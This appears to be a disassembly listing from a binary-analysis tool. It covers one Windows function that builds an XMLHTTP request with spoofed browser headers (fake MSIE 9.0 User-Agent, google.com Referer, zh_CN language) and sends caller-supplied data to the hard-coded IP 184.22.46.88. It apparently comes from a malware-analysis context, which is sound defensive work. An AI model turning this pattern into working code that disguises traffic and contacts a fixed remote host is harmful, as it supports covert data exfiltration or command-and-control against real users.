Function at 0x40639c
Capabilities:
Reference http user-agent string

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push 8
call fcn.00414c30
add esp, 4
mov dword [ebp - 4], eax
mov ebx, eax
mov dword [ebx], 0
mov dword [ebx + 4], 0
mov dword [ebp - 8], 0
mov dword [ebp - 0xc], esp
push 0
mov eax, 6
call fcn.00414c42
cmp dword [ebp - 0xc], esp
je 0x4063ef
push 6
call fcn.00414c3c
add esp, 4
push 0
push 0
push 0
push reloc.OLEAUT32.dll_SysReAllocStringLen
push 0
push str.Microsoft.XMLHTTP
push 0x10030
push 0
push dword [ebp - 4]
push 3
mov ebx, 0x418080
call fcn.00414c48
add esp, 0x28
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push 0xa0000004
push 0
push dword [ebp + 8]
push reloc.OLEAUT32.dll_SysReAllocStringLen
push 0
push 0x4e3ca1
push reloc.OLEAUT32.dll_SysReAllocStringLen
push 0
push str.Open
push 0x10030
push 0
push dword [ebp - 4]
push 5
mov ebx, 0x417820
call fcn.00414c48
add esp, 0x40
push reloc.OLEAUT32.dll_SysReAllocStringLen
push 0
push 0x4e3cab
push reloc.OLEAUT32.dll_SysReAllocStringLen
push 0
push str.Accept
push reloc.OLEAUT32.dll_SysReAllocStringLen
push 0
push str.SetRequestHeader
push 0x10030
push 0
push dword [ebp - 4]
push 4
mov ebx, 0x417820
call fcn.00414c48
add esp, 0x34
push reloc.OLEAUT32.dll_SysReAllocStringLen
push 0
push str.http:__www.google.com
push reloc.OLEAUT32.dll_SysReAllocStringLen
push 0
push str.Referer
push reloc.OLEAUT32.dll_SysReAllocStringLen
push 0
push str.SetRequestHeader
push 0x10030
push 0
push dword [ebp - 4]
push 4
mov ebx, 0x417820
call fcn.00414c48
add esp, 0x34
push reloc.OLEAUT32.dll_SysReAllocStringLen
push 0
push str.zh_CN
push reloc.OLEAUT32.dll_SysReAllocStringLen
push 0
push str.Accept_Language
push reloc.OLEAUT32.dll_SysReAllocStringLen
push 0
push str.SetRequestHeader
push 0x10030
push 0
push dword [ebp - 4]
push 4
mov ebx, 0x417820
call fcn.00414c48
add esp, 0x34
push reloc.OLEAUT32.dll_SysReAllocStringLen
push 0
push str.Mozilla_5.0__compatible__MSIE_9.0__Windows_NT_6.1__WOW64__Trident_5.0_
push reloc.OLEAUT32.dll_SysReAllocStringLen
push 0
push str.User_Agent
push reloc.OLEAUT32.dll_SysReAllocStringLen
push 0
push str.SetRequestHeader
push 0x10030
push 0
push dword [ebp - 4]
push 4
mov ebx, 0x417820
call fcn.00414c48
add esp, 0x34
push reloc.OLEAUT32.dll_SysReAllocStringLen
push 0
push str.application_x_www_form_urlencoded
push reloc.OLEAUT32.dll_SysReAllocStringLen
push 0
push str.Content_Type
push reloc.OLEAUT32.dll_SysReAllocStringLen
push 0
push str.SetRequestHeader
push 0x10030
push 0
push dword [ebp - 4]
push 4
mov ebx, 0x417820
call fcn.00414c48
add esp, 0x34
push reloc.OLEAUT32.dll_SysReAllocStringLen
push 0
push str.deflate
push reloc.OLEAUT32.dll_SysReAllocStringLen
push 0
push str.Accept_Encoding
push reloc.OLEAUT32.dll_SysReAllocStringLen
push 0
push str.SetRequestHeader
push 0x10030
push 0
push dword [ebp - 4]
push 4
mov ebx, 0x417820
call fcn.00414c48
add esp, 0x34
push reloc.OLEAUT32.dll_SysReAllocStringLen
push 0
push str.184.22.46.88
push reloc.OLEAUT32.dll_SysReAllocStringLen
push 0
push str.Host
push reloc.OLEAUT32.dll_SysReAllocStringLen
push 0
push str.SetRequestHeader
push 0x10030
push 0
push dword [ebp - 4]
push 4
mov ebx, 0x417820
call fcn.00414c48
add esp, 0x34
push reloc.OLEAUT32.dll_SysReAllocStringLen
push 0
push str.Keep_Alive
push reloc.OLEAUT32.dll_SysReAllocStringLen
push 0
push str.Connection
push reloc.OLEAUT32.dll_SysReAllocStringLen
push 0
push str.SetRequestHeader
push 0x10030
push 0
push dword [ebp - 4]
push 4
mov ebx, 0x417820
call fcn.00414c48
add esp, 0x34
push reloc.OLEAUT32.dll_SysReAllocStringLen
push 0
push str.no_cache
push reloc.OLEAUT32.dll_SysReAllocStringLen
push 0
push str.Cache_Control
push reloc.OLEAUT32.dll_SysReAllocStringLen
push 0
push str.SetRequestHeader
push 0x10030
push 0
push dword [ebp - 4]
push 4
mov ebx, 0x417820
call fcn.00414c48
add esp, 0x34
push 0xa0000004
push 0
push dword [ebp + 0xc]
push reloc.OLEAUT32.dll_SysReAllocStringLen
push 0
push str.Send
push 0x10030
push 0
push dword [ebp - 4]
push 3
mov ebx, 0x417820
call fcn.00414c48
add esp, 0x28
push 0
push 0
push 0
push reloc.OLEAUT32.dll_SysReAllocStringLen
push 0
push str.ResponseBody
push 0x10030
push 0
push dword [ebp - 4]
push 3
mov ebx, 0x4177f0
call fcn.00414c48
add esp, 0x28
mov dword [ebp - 0xc], eax
push 0
push 0
push 0
push 0x10031
push 0
push dword [ebp - 0xc]
push 2
mov ebx, 0x417870
call fcn.00414c48
add esp, 0x1c
mov dword [ebp - 0x10], eax
mov ebx, dword [ebp - 0xc]
push ebx
push 0x10031
push 0
push ebx
push 1
mov ebx, 0x417850
call fcn.00414c48
add esp, 0x10
call fcn.00414c2a
add esp, 4
mov eax, dword [ebp - 0x10]
push eax
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x406766
push ebx
call fcn.00414c2a
add esp, 4
pop eax
mov dword [ebp - 8], eax
mov dword [ebp - 0xc], esp
mov eax, 7
call fcn.00414c42
cmp dword [ebp - 0xc], esp
je 0x406789
push 6
call fcn.00414c3c
add esp, 4
mov eax, dword [ebp - 8]
test eax, eax
je 0x4067a3
push eax
mov eax, dword [eax + 4]
add eax, 8
push eax
call fcn.00414c30
pop ecx
pop esi
mov edi, eax
rep movsb byte es:[edi], byte [esi]
jmp 0x4067a8
push eax
mov ebx, dword [ebp - 4]
push ebx
push 0x10030
push 0
push ebx
push 1
mov ebx, 0x418070
call fcn.00414c48
add esp, 0x10
call fcn.00414c2a
add esp, 4
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x4067dc
push ebx
call fcn.00414c2a
add esp, 4
pop eax
mov esp, ebp
pop ebp
ret 8